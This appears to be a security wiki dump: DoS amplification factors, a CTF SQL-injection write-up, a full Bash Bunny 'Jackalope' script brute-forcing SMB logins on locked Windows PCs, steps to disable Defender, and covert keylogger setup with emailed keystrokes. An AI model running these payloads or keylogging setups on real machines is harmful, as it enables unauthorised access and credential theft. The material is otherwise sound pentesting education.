Amplification attacks exploit the connection-less design of UDP which does not validate source IP addresses and Internet Services that send big Response Message data with small requests. One well known example for this is the DNS Amplification Attack. This Attack uses open DNS resolve server which are accessible by everyone. To trigger an amplified response the attacker sends a request for all DNS records of a zone with a spoofed source IP address. This will result in an extremely large stream of response messages to the victim. NTP server can be used quite similar by using the monlist command with a spoofed source IP address. This command triggers a response with the last 600 source IP addresses which used the NTP Service before. This attack has an multiplication factor of 556. Another well-known for amplification used Protocol is the Memcache Protocol that allowed the biggest [https://wiki.elvis.science/index.php?title=DDoS_Attack_on_GitHub DDoS attack of 2018 on GitHub] since then. The following table shows the Amplification factors of Amplifications Attacks[10]:

{| class="wikitable"
|-
! scope="col" | Protocol
! scope="col" | Amplification Factor
|-
| Memcached
| 10000 to 50000
|-
| NTP
| 556.9
|-
| QOTD
| 140.3
|-
| WS-Discovery
| 10 to 500
|-
| CLDAP
| 56 to 70
|-
| Quake Network Protocol
| 63.9
|-
| TFTP
| 60
|-
| LDAP
| 46 to 55
|-
| DNS
| 28 to 54
|-
| SSDP
| 30.8
|-
| Portmap (RPCbind)
| 7 to 28
|-
| Kad
| 16.3
|-
| Multicast DNS
| 2 to 10
|-
| SNMPv2
| 6.3
|-
| Steam Protocol
| 5.5
|-
| BitTorrent
| 3.8
|-
| NetBIOS
| 3.8
|-
|}

=== Transport Layer attacks ===
Transport layer attacks like the [[Blackhole ]] try to be the main route between two networks and then filter their victim’s data traffic.

=== Application Layer attacks ===
This type of DoS attacks uses system weaknesses and protocol vulnerabilities to take down servers. Protocol attacks use vulnerabilities in the specification, like ping of death which produces a buffer overflow by sending malformed ICMP packets. Low and Slow attacks are subgroup of Application Layer attacks, that takes down services by using a low bandwidth and proceeding slow. The [[Slow Loris DoS Attack]] exhausts apache2 servers by open multiple HTTP connections and keep them alive as long as possible.

== References ==
Introduction:

[1] https://www.cisco.com/c/en/us/products/security/common-cyberattacks.html

[2] https://www.wired.com/story/github-ddos-memcached/

[3] https://ccdcoe.org/uploads/2018/10/12_NAZARIO-Politically-Motivated-DDoS.pdf

Target points of Denial of Service Attacks:

[4] IEEE 2015: Botnet in DDoS Attacks: Trends and Challenge

Types of DoS / DDos Attacks:

[5] https://en.wikipedia.org/wiki/Denial-of-service_attack

[6] IEEE: DDoS Attacks at the Application Layer: Challenges and Research Perspectives for Safeguarding Web Applications

[7] https://blog.cloudflare.com/65gbps-ddos-no-problem/

[8] https://www.cloudflare.com/learning/ddos/ntp-amplification-ddos-attack/

[9] https://www.cloudflare.com/learning/ddos/famous-ddos-attacks/

[10]https://www.us-cert.gov/ncas/alerts/TA14-017A

[11] https://web.archive.org/web/20150426090206/http://ha.ckers.org/slowloris

[12] IEEE 2012: DoS Attacks in Mobile Ad Hoc Networks: A Survey

[[Category:Basic]]

Defend The Web

2024-03-12T17:36:54Z

Ikramer:

[[File:DefendTheWebNetLogo.png|thumb|Logo of DefendTheWeb.net<ref name="logo"/>]]
'''Defend The Web''' is a Capture the Flag Website that teaches topic about Cyber Security and offers users on-hand-training for their theoretical skills. A free account is needed to access every section of the website. This can be either done by registering a new one from scratch or by using one of the available Single Sign On Providers (SSO Providers) Twitter (aka X), Google or GitHub. After logging in, the user gets redirected to a dashboard that offers information about new content in the articles and community sections as well as the progress in solving CTFs and the user's current level. Every user can earn medals by finishing challenges, participating in the community, writing articles and other actions on the website. <ref name="dtw"/>

== Overview ==
The landing page after logging in is the dashboard which consists of three main parts A) Articles, B) Playground and C) Community.

=== Articles ===
The article section consists of nine topics. Each article has a read time that depends on the length of the text as well as a counter of how many people have read it. The following list contains the topics and the number of articles within each topic at the time of writing. Topics in bold are directly accessible through the sidebar navigation within the dashboard.

* '''Coding''' (11)
* '''Hacking''' (21)
* '''Privacy''' (2)
* Encryption and [https://en.wikipedia.org/wiki/Steganography Steganography] (9)
* [https://en.wikipedia.org/wiki/Lock_picking Lock Picking] (2)
* Network security (7)
* [https://en.wikipedia.org/wiki/Phreaking Phreaking] (1)
* Talks / videos (11)
* Miscellaneous (13)

=== Playground ===
When navigating to the playground, the user is greeted with a list of all levels as well as a recommendation of the next level that may suit the current experience level. The challenges can be filtered using 12 categories.
Every challenge has a level which is one of bronze, silver or gold, to show the complexity of the challenge. Statistics on how many users have attempted a challenge and how many of them completed it are available after clicking on one of them. Information about who and when the challenge was solved first is available as well as who and when it was completed lastly.
All challenges, except those in the category realistic, are kept in the same style, requiring the user to enter data into one or more text fields and clicking a button to send the solution. From a usability perspective it is simple to use and easy to understand, focusing only on the objectives that need to be solved. Below the challenge itself, a notes field is available that gives the user the option to write down things that didn't work or ideas on how to solve the challenge to find those information at the next attempt. This notes are only visible to the user who wrote them and cannot be shared.

=== Community ===
A forum and Chat function can be found in the community section as well as a function to exchange private messages between users. At the time of writing, the chat function was not working, but a workaround was mentioned in the forum. <ref name="chatworkaround"/>

== Challenge Write-Up ==

To show how the website works we will play one challenge from start to end. For this demonstration, we chose the challenge 'SQLi 1 / SQLi', which is a SQL injection CTF. As most challenges, we are facing a login screen with a short description of the objective. In this case we have to 'Gain access to any users account' by providing an username and a password or by exploiting the site. We can also observe that more than 19,000 users have completed this challenge and that only 52\% of the users that attempted this challenge have actually completed it.

[[File:DefendTheWebNetSqlInjectionA.png|800px|Screenshot of the SQLInjection challenge page showing username and password field]]

To solve this challenge we need some knowledge about SQL injections in general. Before frameworks made it easier and safer to write SQL statements, they were mostly written as strings and the variables were replaced by the script engine. This way an attacker could insert malicious symbols that change the way the query works. The following PHP code snippet uses unchecked user input and inserts it in a SQL query string.

<syntaxhighlight lang="php">
$username = $_POST['username'];
$password = $_POST['password'];

$q = "SELECT * FROM users WHERE user='$username' and pass='$password'";
$result = mysqli_query($connection, $q);
$count = mysqli_num_rows($result);

if($count == 1) {
// User successfully logged in
}

</syntaxhighlight>

As we suspect a similar query to be used in the background of the challenge, we use ambiguous characters to get more information. Using the username "silvie" and the password <code>'</code> (a single quote), we get back the error message <code>"Syntax error: SELECT * FROM users WHERE username = 'user' AND password = <nowiki>'''</nowiki>"</code>. We can now see the used query and that the single quote invalidated it.

[[File:DefendTheWebNetSqlInjectionB.png|600px|Screenshot of the SQLInjection challenge error page the failed execution as stated in the paragraph above]]

For the exploit itself we can now use any username, as the script will not check this anyway after our changes, and the password <code>"' OR 1=1;"</code>. The query will be rendered in the background to <code>"SELECT * FROM users WHERE username = 'silvie' AND password = '' OR 1=1;'"</code>. The query now evaluates two parts, the one before the OR and the other after. The first one will probably fail because the user may not exist or even if it does, the password will probably not be empty. The second part will always be true, because 1 equals 1. The single quote at the end will be ignored, because we added a semicolon at the end that finishes the query.

[[File:DefendTheWebNetSqlInjectionC.png|400px|Screenshot of the SQLInjection challenge succeeded]]

== Alternatives ==

=== Root Me ===
The CTF platform [[Root_Me|Root Me]] has established only two years after Defend The Web in 2010, but offers already more than 540 challenges. <ref name="rmchallenges"/>

=== Hack The Box ===
Another alternative is [https://www.hackthebox.com Hack The Box], which offers over 500 challenges <ref name="htbchallenges"/> but also attracts by doing community events all over the world. <ref name="htbcommunityevents"/>

== References ==
<references>
<ref name="dtw">https://defendtheweb.net</ref>
<ref name="logo">https://www.facebook.com/defendtheweb/photos/a.163821580333961/2395529793829784/</ref>
<ref name="chatworkaround">https://defendtheweb.net/discussion/83648-irc-chat</ref>
<ref name="htbcommunityevents">https://www.hackthebox.com/events</ref>
<ref name="rmchallenges">https://www.root-me.org/en/Challenges/</ref>
<ref name="htbchallenges">https://www.hackthebox.com/about-us</ref>
</references>

* https://defendtheweb.net
* https://owasp.org/www-project-top-ten/
* https://www.root-me.org
* https://www.hackthebox.com

[[Category:Documentation]]

Cryptomator

2024-03-12T17:36:13Z

Ikramer:

== General ==
The open-source tool Cryptomator is an application for client-side encryption. This concept is applied when you want to upload your own data to a cloud service that needs to be protected, but you also want to ensure security. Client-side encryption refers to the concept of encrypting your own data on your own computer before uploading it to a cloud service.<ref> https://support.google.com/a/answer/10741897?hl=de-de</ref> Cryptomator is a free tool due to its open-source nature, which allows you to quickly and independently protect your own data and documents regardless of the price. <ref> https://cryptomator.org/de/ </ref>

== Operation ==
The operation of the application is relatively simple. You can quickly download the .exe file from the Cryptomator website. A page on the website that opens automatically after downloading provides an introduction to using the tool. <ref> https://docs.cryptomator.org/en/latest/ </ref> <br/>
If the application is opened, a window appears with the option to create a new folder, a so-called “vault,” with protected data. To do this, you must select a storage location, such as Google Docs, where the encrypted data should be stored. Then a password must be set for it. After successfully creating the folder and unlocking it by entering the password, a virtual drive is created in the file manager for each unlocked vault. The decrypted documents stored there are located in this virtual drive. In the meantime, only encrypted data can be found in the cloud service folder. Any number of vaults can be created.

[[File:Cryptomator.png|caption]]

At no time are decrypted data stored on the hard drive of your own computer. These are decrypted on-the-fly when accessed. <ref> https://docs.cryptomator.org/en/latest/security/security-target/ </ref>

== Security ==
Without the use of client-side encryption, data in cloud services would only be encoded during transmission and otherwise potentially stored in plaintext. This would allow attackers to read, steal, or manipulate personal data stored in the cloud in the event of a successful cloud hack. Cloud service providers also have the ability to read the data they are given if it is not passed on in an encrypted form. Cryptomator is a tool for greater security, both against hackers and cloud service providers themselves. The encryption is performed using the AES method and a key length of 256 bits. <ref> https://cryptomator.org/de/</ref>

== Encryption ==
The documentation of the tool provides a comprehensive description of how file encryption works. Cryptomator is not a complete replacement for other encryption measures. To ensure functional synchronization with the cloud, some metadata is not encrypted. These include access, modification, and creation timestamps of files and folders, the number of files and folders in a vault and in the folders, as well as the size of the stored files. <ref> https://docs.cryptomator.org/en/latest/security/architecture/ </ref>

== Other ==
The preferred frontends for accessing files in cloud storage are WinFsp for Windows, macFUSE for macOS, and FUSE for Linux. If not available, Cryptomator will use WebDAV (an HTTP-based protocol) because it is mainly supported on every operating system. <ref> https://docs.cryptomator.org/en/latest/security/architecture/ </ref>

== References ==
<references />
[[Category:Documentation]]

Beagle USB 12 Protocol Analyzer: Test

2024-03-12T17:33:31Z

Ikramer:

== Summary ==

The Beagle USB 12 Protocol Analyzer is a nice tool to setup it quick and ease and allows engineers to debug problems quickly. You can capture, display and filter high-, full- and low-speed USB traffic in real time.

[[File:Beagle_Analyzer_Front.jpg|400px|thumb|none|Beagle USB 12 Protocol Analyzer]]

In the front of the analyzer there are the target host and target device ports.
They act as a passthrough to connect the target device to the host computer.

[[File:Beagle Back.jpg|400px|thumb|none|Beagle USB 12 Protocol Analyzer]]

== Requirements ==

To be able to monitor the USB traffic you will need a software that captures and displays USB, USB Type-C Power Delivery, I2C, SPI, eSPI and CAN bus data through the Beagle. To download it from the Totalphase website you will need to create an account. This does not come with any subscription or cost factor.
You can [https://www.totalphase.com/products/data-center/?___ Download] the Data Center Software for following architectures:

* Windows
* Linux
* MacOS

If you are using a Windows or a Linux host, it is also important to download the appropriate drivers since without them Windows will not recognize the analyzer:

* Windows [https://www.totalphase.com/products/usb-drivers-windows/ (here)]
* Linux [https://www.totalphase.com/products/usb-drivers-linux/ (here)]

MacOS do not require any driver.
For more details like, key features, technical specifications or software requirements follow this [https://www.totalphase.com/products/beagle-usb12/ link].

== Description ==

With the type B USB cable connect the target host port at the front of the analyzer with your PCs USB port type A.
The analyzis port at the backside of the analyzer is connected with another type B USB connector to your PCs USB port type A.
Lastly you can then plug in your target device into the USB port type A of the analyzer.

=== Hands-On ===

To capture traffic, click in the top toolbar at “Analyzer” and then on “Connect to Analyzer”. Confirm that the correct device is selected and click “OK”.

[[File:Connect to Analyzer.png|800px|thumb|none|]]

You can then connect the USB target device (for example a mouse) to the analyzer. After clicking on the play-button, we should then see all the packet data in real-time.

[[File:Data Center Capture 1.png|800px|thumb|none|]]

We can see that some interesting parameters like speed, timestamp, endpoint address and the actual data were captured. The captured data has been decoded into human readable messages.
At the beginning we can see the handshake between the computer and the connected device.
We can double-click on any packet to see the low-level data and the corresponding details, which are shown in hexadecimal and ASCII. A mouse click is symbolized by a field named “Btns=[1]”.

[[File:Data Center Capture 2.png|800px|thumb|none|]]

It should be now possible to click on the bottom of the Navigator at “LiveFilter” to filter for those events. This should be possible by entering “btns=[1]” in the text field. Apply the filter and all “click”-mouse events are shown. This should be possible for every kind of patterns, endpoint addresses, and more.

[[File:Data Center Capture 3.png|800px|thumb|none|]]

By turning off scrolling and disabling the filter, we can see all the data that occurred before and after the events.
You can also connect a USB hub to the analyzer and plug in multiple USB devices. All devices with their assigned addresses will be shown under the navigator in the Data Center software.

[[File:Data Center Capture 4.png|800px|thumb|none|]]

You can also find a lot of already captured examples under “Help”, “Examples”:

[[File:Data Center Example Captures.png|800px|thumb|none|]]

The protocol analyzer can therefore be very helpful for debugging errors or for forensic analysis, for example.

== Used Hardware ==

[[Beagle USB 12 Protocol Analyzer]]

== References ==

* https://www.totalphase.com

[[Category:Documentation]]
[[Category:Pentesting]]

Bash Bunny Exploit: Jackalope

2024-03-12T17:32:53Z

Ikramer:

== Summary ==

Uses ethernet to attempt dictionary attacks against passwords. When the password is discovered, it is stored in a file for future use. The password may be used to unlock the machine by:

* Manually select user & place focus on the password field at the login screen
* Toggle the switch position from switch1 to switch2 (or vice versa) & the bunny will auto-type the stored password.

To clear a stored password, move the switch to switch3 (aka arming mode) after the payload runs and displays GREEN. The status light will change to SPECIAL (cyan) indicating the password has been removed. Positioning the switch to switch1 or switch2 will re-initiate the attack.

== Requirements ==

=== Required Tools ===

You must have a Metasploit installation up and running in path /tools/metasploit-framework/
For the installation of additional tools to the Bash Bunny follow this link [https://forums.hak5.org/topic/40971-info-tools/ here] or download the tools you need by clicking on following links:

* [https://storage.googleapis.com/bashbunny_tools/impacket-bunny.deb Impacket]
* [https://storage.googleapis.com/bashbunny_tools/responder-bunny.deb Responder]
* [https://storage.googleapis.com/bashbunny_tools/gohttp-bunny.deb Gohttp]
* [https://storage.googleapis.com/bashbunny_tools/metasploit-bunny.deb Metasploit-Framework] (Requires firmware 1.6 or above)

By clicking on the links, a download will be started automatically.
Move the downloaded files in BashBunnys “loot” folder. Then unplug the device safely and plug it in again. The device will take some time to move the files to Linux (purple LED flashing). Wait until the LED is flashing in blue again.
No further initial configuration is required for Firmware v1.6+.

=== Windows Defender ===

When using a Windows machine, Windows Defender will complain and therefore block a lot of files and executions. You therefore have to unable the Real-time detection for your device to have Bash Bunny work properly.

Follow these steps to temporarily turn off real-time Microsoft Defender antivirus protection in Windows Security. However, keep in mind that if you do, your device may be vulnerable to threats.

&emsp;1. Select Start and type "Windows Security" to search for that app.

&emsp;2. Select the Windows Security app from the search results, go to Virus & threat protection, and under Virus & threat protection settings select Manage settings.

&emsp;3. Switch Real-time protection to Off. Note that scheduled scans will continue to run. However, files that are downloaded or installed will not be scanned until the next scheduled scan.

== Description ==

=== Per attack configuration ===

* userlist.txt contains usernames to use in attack.
* wordlist.txt contains passwords to use in attack.

Note: A fantastic collection of password wordlists are available: [https://github.com/danielmiessler/SecLists SecLists]

=== LED Status ===

[[File:BashBunny_status.PNG|thumb|none|500px|LED Status lights]]

A detailed description oft these LED states can be found [https://docs.hak5.org/bash-bunny/writing-payloads/led here].

=== Payload ===

This payload uses Metasploit for the exploit. Therefore, as already mentioned above, the Metasploit-Framework is needed. The framework uses the '''auxiliary/scanner/smb/smb_login''' module for the exploit.

=== Exploit overview ===

'''Name:''' SMB Login Check Scanner

'''Module:''' auxiliary/scanner/smb/smb_login

'''Source code:''' modules/auxiliary/scanner/smb/smb_login.rb

'''Disclosure date:''' -

'''Last modification time:''' 2021-08-31 17:10:07 +0000

'''Supported architecture(s):''' -

'''Supported platform(s):''' -

'''Target service / protocol:''' microsoft-ds, netbios-ssn

'''Target network port(s):''' 139, 445

'''List of CVEs:''' CVE-1999-0506

This module will test a SMB login on a range of machines and report successful logins. If you have loaded a database plugin and connected to a database this module will record successful logins and hosts so you can track your access.

Therefore, the firewall of the target PC needs to have port 445 (inbound traffic) opened.

=== How do you enable port 445? ===

Go Start > Control Panel > Windows Firewall and find Advanced settings on the left side. 2. Click Inbound Rules > New rule. Then in the pop-up window, choose Port > Next >TCP > Specific local ports and type 445 and go Next. Create the rule.

Otherwise, you “network inaccessible” error, illustrate by a blinking red LED at the Bash Bunny.

== Payload Preperation ==

=== payload.txt ===

<pre>

#!/bin/bash
#
# Title: Jackalope
# Author: catatonic
# Version: 1.1.0

# Check readiness & prepare environment
LED SETUP

REQUIRETOOL metasploit-framework
ATTACKMODE HID RNDIS_ETHERNET

# Ensure loot is available for recording results.
mount /dev/nandf /root/udisk/

ORIGINAL_SWITCH=$SWITCH_POSITION
PAYLOAD_DIR=/root/udisk/payloads/$SWITCH_POSITION
LOOTBASE=/root/udisk/loot/Jackalope/

# SETUP
GET TARGET_IP
GET TARGET_HOSTNAME

COUNT=$(ls -lad $LOOTBASE/$TARGET_HOSTNAME* | wc -l)
COUNT=$((COUNT+1))
LOOTDIR=$LOOTBASE/$TARGET_HOSTNAME-$COUNT
mkdir -p $LOOTDIR

MSF_DIR=/tools/metasploit-framework

# Save environment informaiton:
echo "PAYLOAD_DIR: $PAYLOAD_DIR" >> $LOOTDIR/log.txt
echo "MSF_DIR: $MSF_DIR" >> $LOOTDIR/log.txt
echo "LOOTDIR: $LOOTDIR" >> $LOOTDIR/log.txt
echo "TARGET_IP: $TARGET_IP" >> $LOOTDIR/log.txt
echo "TARGET_HOSTNAME: $TARGET_HOSTNAME" >> $LOOTDIR/log.txt

SYNC ()
{
sync; sleep 1; sync
}
CLEAR_PW()
{
LED SPECIAL
rm $PAYLOAD_DIR/quack_pass.txt
SYNC
WAIT
}
ENTER_PW()
{
sleep 1
QUACK $ORIGINAL_SWITCH/quack_pass.txt
QUACK ENTER
}
RECON()
{
ATTACKMODE RNDIS_ETHERNET
# Stage 1: Recon
LED STAGE1
echo "Executing nmap..." >> $LOOTDIR/log.txt
nmap -p 445 -Pn $TARGET_IP > $LOOTDIR/nmap_results.txt
if ! grep --quiet "445.*open" $LOOTDIR/nmap_results.txt;
then
LED FAIL2
SYNC
exit
fi
}
EXPLOIT()
{
# Stage 2: Exploit
LED STAGE2
export HOME=/root
cd $MSF_DIR
./msfconsole -q -x "use auxiliary/scanner/smb/smb_login; set RHOSTS $TARGET_IP; set USER_FILE $PAYLOAD_DIR/userlist.txt; set PASS_FILE $PAYLOAD_DIR/wordlist.txt; run; exit" > $LOOTDIR/msfconsole.txt

if ! grep --quiet "^\[+\]" $LOOTDIR/msfconsole.txt;
then
LED FAIL
echo "Payload failed, no logins found..." >> $LOOTDIR/log.txt
SYNC
exit
fi

grep "^\[+\]" $LOOTDIR/msfconsole.txt | grep -o \'.*\' | cut -d ':' -f 1 | cut -d "'" -f 2 > $LOOTDIR/user.txt
grep "^\[+\]" $LOOTDIR/msfconsole.txt | grep -o \'.*\' | cut -d ':' -f 2 | cut -d "'" -f 1 > $LOOTDIR/password.txt

# Focus needs to be set on the password field manually.
echo -n "STRING " > $PAYLOAD_DIR/quack_pass.txt
cat $LOOTDIR/password.txt >> $PAYLOAD_DIR/quack_pass.txt

SYNC
}

# High level view.
while true
do
if [ -f $PAYLOAD_DIR/quack_pass.txt ];
then
LED FINISH
else
RECON
EXPLOIT
continue
fi

WAIT

# User's choice, clear old password or enter password.
if [ "$SWITCH_POSITION" == "switch3" ];
then
CLEAR_PW
else
ENTER_PW
fi
done

</pre>

=== userlist.txt ===

Add here the usernames you want to attack on the target host, like for example:

<pre>
Administrator
Willi
Gast
</pre>

=== wordlist.txt ===

Add here the some common used passwords, which will be used to bruteforce the target host. For example:

<pre>123456
password
12345678
qwerty
123456789
12345
1234
111111
1234567
dragon
123123
baseball
abc123
football
monkey
letmein
</pre>

== Execution ==

&emsp;1. Plug the configured Bash Bunny in the Windows target machine. The target machine’s screen should be locked, and the Bash Bunny’s button should be placed also correctly, depending on which switch you configured the payload (switch1 or switch2).

&emsp;2. Bash Bunny’s LED lights purple until the execution of the payload.

&emsp;3. While attacking the LED will blink in a yellow colour.

&emsp;4. When Bash Bunny was successful, the LED will light green.

&emsp;5. You will have then the two possibilities as already mentioned in the Description section. Do it manually or toggle the button to put in the password automatically into the password phrase.

&emsp;6. After toggling the screen should lock up.

== Result ==

In Bash Bunnys “loot”-folder the output of the attack could be found after the attack.
Following files can be found:

* log.txt --> Can be used for troubleshooting/debugging.
* msfconsole.txt --> The non- and matching events of users to passwords on target host will displayed in this textfile.
* nmap_ results.txt --> Here the output of the nmap-scan is shown.
* password.txt --> All matching passwords are saved in this text file.
* user.txt --> All matching users are saved in this text file.

== References ==

* https://github.com/hak5/bashbunny-payloads/tree/master/payloads/library/credentials/Jackalope
* https://www.infosecmatter.com/metasploit-module-library/?mm=auxiliary/scanner/smb/smb_login
* https://frameboxxindore.com/windows/you-asked-how-do-i-open-port-445-on-windows-10.html
* https://support.microsoft.com/en-us/windows/turn-off-defender-antivirus-protection-in-windows-security-99e6004f-c54c-8509-773c-a4d776b77960
* https://wiki.bashbunny.com/#!index.md#Tools
* https://docs.hak5.org/bash-bunny/writing-payloads/led

[[Category:Documentation]]
[[Category:Pentesting]]

BLE-Berry Project

2024-03-12T17:32:14Z

Ikramer:

== Summary ==

This Project is the result of a master’s thesis that created a Threat Model of the Bluetooth Low Energy (BLE) Standard and developing a tool called BLE Berry to enable easier BLE Development and to perform basic pentesting operations.

== Threat Model ==

The Threat Model was performed by analyzing the BLE portion of the BLE Standard and gathering further information's from numerous white papers and scientific papers. The gathered Threats and Vulnerabilities got mapped to the Layer/Protocol they are performed on, as shown in the figure below.

[[File:BLE Berry Project Threat Model.png|800px]]

Some of the Threats use other Threats as an entry vector, e.g., a machine-in-the-middle attack relies on address spoofing and can benefit from Radio Jamming. The dependencies of the Threat is shown in the figure below.

[[File:BLE Berry Project Threat Dependencies.png|800px]]

The STRIDE method was used to categorize the discovered Threats, as shown in the following table.
STRIDE separates the Threats in the following six categories:
* Spoofing
* Tampering
* Repudiation
* Information disclosure
* Denial of Service
* Elevation of Privilege

[[File:BLE Berry Project STRIDE3.png|600px]]

=== Threat Vectors ===

==== Sniffing / Eavesdropping ====

Sniffing or eavesdropping is performed with BLE by scanning the Radio for messages. This results in an information disclosure, but can be countered if encryption is used to provide confidentiality. The BLE standard itself provides AES-CCM encryption with message authentication by a key created with the usage of P256 ECDH. The commercial market provides some affordable USB Sniffing Accessories, which output pacap files that can be analyzed with [https://www.wireshark.org/ wireshark]:
* [https://greatscottgadgets.com/ubertoothone/ Ubertooth One]
* [https://www.nordicsemi.com/Products/Development-tools/nrf-sniffer-for-bluetooth-le NordicRF Sniffer]
* [https://www.adafruit.com/product/2269 Adafruit Bluefruit LE Sniffer]

==== Radio Jamming ====
Radio jamming aims to perform a Denial of Service (DoS) by disrupting sent data with interfering signals. Radio jamming can be performed on all channels at the same time (called full band jamming) or selective on a single channel. Furthermore, can be differentiated into persistent and reactive jamming. Persistent full band jamming can be detected easily because it interferes with all sent messages for a long time period. Selective reactive jamming on the other hand is hard to detect because it only jams specific messages.

==== Spoofing ====
Spoofing is the process of changing the Bluetooth address to impersonate the other device. BLE Spoofing cannot be prevented and is one of the biggest vulnerabilities of the communication protocol. Furthermore, many BLE chip manufacturer provide the functionality to change the address with manufacturer specific host controller interface (HCI) commands, which is abused for spoofing.

==== IRK Stealing ====
The BLE provides a function to hide the address of and device by using private address. This security feature aims to prevent tracking of devices because they change their address periodically. The devices still can establish a connection by resolving the private address by calculating a hash with the usage of the Identity Resolving Key. This key gets distributed after a legit connection establishment. Therefore, can an adversary spoof another device and tell the target that it lost the long term key and initiate a new pairing process and gathers the IRK.

==== Battery Draining Attacks ====
Battery drain attacks aim to preform a Denial of Service by draining the devices' battery. This can be either achieved by flooding a device by many pairing requests that then don't get performed, or by connecting to the device and using its services and denying it to sleep. Many devices achieve a long battery life by using long deep sleep phases and short awake times, which is prevented by an adversary in this case.

==== DoS due to Spoofed Connection ====
Older versions of BLE only allowed a peripheral device to only serve one connection at a time. This is used by an adversary to prevent the legit central device from discovering the peripheral by connecting it and keeping the connection open. This restriction was lifted, but the ability to serve multiple connections must be configured by the device manufacturer and therefore is not used by most devices.

==== Fuzzing ====
Fuzzing is the act of sending arbitrary data or message with mutated lengths of fields. This can cause device failures and deadlocks resulting in denial of service.

==== Downgrade Attacks ====
Downgrade attacks downgrade either the used paring algorithm or the key size of the encryption key. This attack require a machine in the middle attack during the connection establishment and altering the input output capabilities, secure connections or key size field in connection request.

==== Brute-forcing Legacy Pairing Encryption Key ====
The Legacy Pairing algorithm relied on a six-digit temporal key (TK) as the only secret parameter for the derivation of the short term key and link key. The six-digit passcode only provides an entropy of 20 bits and is therefore brute-forceable. Any device that use any BLE version after 4.2 relies on a secure paring authentication algorithm and is therefore not prone to this threat anymore.

==== Cross Transport Key Derivation ====
Cross Transport Key Derivation (CTKD) is a protocol to cross derive a key from Bluetooth Classic and BLE used by devices that implement both communication protocols (dual-mode devices), e.g., smartphones. The problem is that dual-mode devices can only turn on both protocols in conjunction and even when one of them is in use, is the other one able to be connected to. This is abused by adversaries by connecting to the unused protocol and performing the CTKD. This results in a disconnect between the two legit device because the key is overwritten, and the connection overtaken by the adversary.

==== Machine in the Middle ====
A machine in the middle attack creates a spoofed connection with both targets and tries to downgrade the connection to plain text to cause information disclosure.

=== BLE Berry ===
The BLE Berry takes a distributed three layer multi-user approach. At the lowest layer are the BLE Nodes. BLE Nodes are raspberry pis (3, 4 or Zero) that run a script to perform BLE operations, like interacting with a device, deploying a BLE server. The nodes can have a Sniffing USB accessory attached to perform sniffing operations (The current version only supports the Ubertooth One other ones are WIP). The Nodes interact with the frontend via MQTT messages. The frontend is a QT application that displays the collected data and lets the users command the BLE Nodes. Multiple frontend session can run at the same time, and they are only restricted by the amount of available BLE Nodes. The backend consists of three Docker containers. The database and MQTT Broker use the official Mosquitto and MySQL images, and the database agent is a python script running in an alpine container. The agent stores all gathered information in the database and provides the stored data to the front end when a session is reopened.

[[File:BLE Berry Project Architecture.png|800px]]

The following figure the how the MQTT topics look like for the BLE Berry Tool.
[[File:BLE Berry Project MQTT.png|800px]]

The MySQL database is shown in the figure below.
[[File:BLE Berry Project Database.png|800px]]

== Source Code and Thesis ==
https://git.fh-campuswien.ac.at/ble-berry-ma-thesis

Sadly, the source code as well as the thesis can not made public
the due to legal reasons until I finish my studies by passing my final exam, but you can contact this email dessyboy@tutanota.com address to get informed when the project gets accessible.

[[Category:Documentation]]
[[Category:Pentesting]]

AirDrive Keylogger Max

2024-03-12T17:30:46Z

Ikramer:

[[File:AirDrive Keylogger Max.PNG|350px|thumb|right|AirDrive Keylogger Max]]

== Summary ==

The '''AirDrive Keylogger Max''' is comparable to the '''AirDrive Forensic Keylogger Cable (Pro Version)'''.
It has additional connectivity and more download options. It works both as a Wi-Fi hotspot, and as a Wi-Fi device, enabling features such as Email reports and time stamping. 8GB of built-in memory was used.

== Features==

* Records keystrokes from any USB keyboard
* 8 gigabytes of built-in memory
* Memory accessible as a USB Hi-speed flash drive (480 Mbps)
* Undetectable for security software
* Supports over 40 national keyboard layouts
* Compatible with barcode readers
* Works as a Wi-Fi hotspot, or as a Wi-Fi device
* Sends Email reports with recorded keystroke data
* Supports time-stamping
* Supports live data streaming over network
* Connect from any computer, smartphone, or tablet
* Access keystroke data from web browser
* Supports WEP, WPA, and WPA-2 network security

== Description ==

You don’t need any physical access to access the logged data. It is available on its interface, which is accessible by connecting to it over Wi-Fi. Once you are connected, you can view the logged data in real-time or just download it.
To hide the keylogger, you can erase the log, disable further logging, or even hide the WLAN network.
It is simply installed by just connecting any types of USB keyboards or barcode reader. Just connect the keylogger in-line with the keyboard and all keystrokes will be recorded.

There are a lot of configuring options, which will be shown in the practical part.

=== Hands-On ===

&emsp;1. Connect the USB keylogger in-line with the external keyboard and the target host.

&emsp;2. Connect your smartphone, tablet or computer to the Wi-Fi network "AIR_XXYYZZ", where "XXYYZZ" is the device ID of the USB cable.

&emsp;3. You can then use any web browser to access the interface under the IP "192.168.4.1".

[[File:Web Interface 1.PNG|600px|thumb|none|]]

&emsp;4. Open the settings to configure the keylogger cable. Various configurations can be made there:

[[File:Web Interface 2.PNG|600px|thumb|none|]]

[[File:Web Interface 3.PNG|600px|thumb|none|]]

We can click on “Toggle Keyboard” to make the keylogger act as a normal flash drive.

&emsp;5. Since the Keylogger Max version has more features, we can take a look at the advanced settings: For every of the advanced settings, an internet connection will be needed.

[[File:Web Interface 4.PNG|600px|thumb|none|]]

After you entered the SSID and the password of your WLAN network, you have to press the save button and restart the device, to activate the configurations.

[[File:Web Interface 5.PNG|600px|thumb|none|]]

You can also use a specific NTP server from https://ntp.org
After configuration, keystrokes will be shown with timestamps in data log.

[[File:Web Interface 6.PNG|600px|thumb|none|]]

Find out your SMTP server addresses either by command line or by an online-tool like https://www.dnswatch.info.

'''Example (if you would use GMAIL):'''

* Gmail SMTP server address: smtp.gmail.com
* Gmail SMTP name: Your full name
* Gmail SMTP username: Your full Gmail address (e.g. you@gmail.com)
* Gmail SMTP password: The password that you use to log in to Gmail
* Gmail SMTP port (TLS): 587
* Gmail SMTP port (SSL): 465

Don’t forget to press the “Save” button.

[[File:Web Interface 7.PNG|600px|thumb|none|]]

The IP of the target out by typing “ipconfig” in the terminal (Windows) and reading out the local IP address. Choose a free target port of your choice.

You can download a UDP client or use instead the example client, which was already linked in the there.

Don’t forget to press the “Save” button.
Don’t forget to apply settings with pressing for each section the “Save … “-button.

&emsp;6. We can download the “Data log” under the “Download” button.

[[File:Web Interface 8.PNG|600px|thumb|none|]]

&emsp;7. With a click on "Data Log" we can observe what is typed on the external keyboard.

'''Example of a Data Log'''

In the following you can see a screenshot of a typical user logon process on the portal of the FH Campus Wien.

[[File:Web Interface 9.PNG|600px|thumb|none|]]

=== Important Legal Notice [1] ===

